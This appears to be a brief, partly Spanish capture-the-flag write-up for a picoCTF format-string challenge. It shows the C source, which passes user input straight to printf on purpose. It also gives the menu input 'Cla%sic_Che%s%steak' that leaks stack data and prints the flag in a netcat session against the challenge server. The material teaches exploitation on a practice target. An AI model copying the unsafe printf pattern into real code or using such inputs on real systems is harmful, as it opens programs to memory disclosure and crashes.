Title here
Summary here

August 4, 20253 minutes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 32
#define FLAGSIZE 64
char flag[FLAGSIZE];
void sigsegv_handler(int sig) {
printf("\n%s\n", flag);
fflush(stdout);
exit(1);
}
int on_menu(char *burger, char *menu[], int count) {
for (int i = 0; i < count; i++) {
if (strcmp(burger, menu[i]) == 0)
return 1;
}
return 0;
}
void serve_patrick();
void serve_bob();
int main(int argc, char **argv){
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag, FLAGSIZE, f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
serve_patrick();
return 0;
}
void serve_patrick() {
printf("%s %s\n%s\n%s %s\n%s",
"Welcome to our newly-opened burger place Pico 'n Patty!",
"Can you help the picky customers find their favorite burger?",
"Here comes the first customer Patrick who wants a giant bite.",
"Please choose from the following burgers:",
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
"Enter your recommendation: ");
fflush(stdout);
char choice1[BUFSIZE];
scanf("%s", choice1);
char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
if (!on_menu(choice1, menu1, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
int count = printf(choice1);
if (count > 2 * BUFSIZE) {
serve_bob();
} else {
printf("%s\n%s\n",
"Patrick is still hungry!",
"Try to serve him something of larger size!");
fflush(stdout);
}
}
}
void serve_bob() {
printf("\n%s %s\n%s %s\n%s %s\n%s",
"Good job! Patrick is happy!",
"Now can you serve the second customer?",
"Sponge Bob wants something outrageous that would break the shop",
"(better be served quick before the shop owner kicks you out!)",
"Please choose from the following burgers:",
"Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
"Enter your recommendation: ");
fflush(stdout);
char choice2[BUFSIZE];
scanf("%s", choice2);
char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
if (!on_menu(choice2, menu2, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
printf(choice2);
fflush(stdout);
}
}
Este es un reto muy poco realista.
El format strings está en la función serve_bob()
void serve_bob() {
printf("\n%s %s\n%s %s\n%s %s\n%s",
"Good job! Patrick is happy!",
"Now can you serve the second customer?",
"Sponge Bob wants something outrageous that would break the shop",
"(better be served quick before the shop owner kicks you out!)",
"Please choose from the following burgers:",
"Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
"Enter your recommendation: ");
fflush(stdout);
char choice2[BUFSIZE];
scanf("%s", choice2);
char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
if (!on_menu(choice2, menu2, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
printf(choice2);
fflush(stdout);
}
}
Se le pide al usuario una opción, si la opción está dentro de la array menu, printea dicha opción, la cosa está en que la opción "Cla%sic_Che%s%steak" tine %s, y luego se hace un printf de dicha cadena sin especificar el tipo, por lo que los %s mostraran cadenas del stack, entre esas cadenas que mostrara puede estar la flag, ya que en la función main se lee la flag y se guarda en el stack
[d3bo@archlinux format_strings_0]$ nc mimas.picoctf.net 59319
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr 4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_74f6c0e7}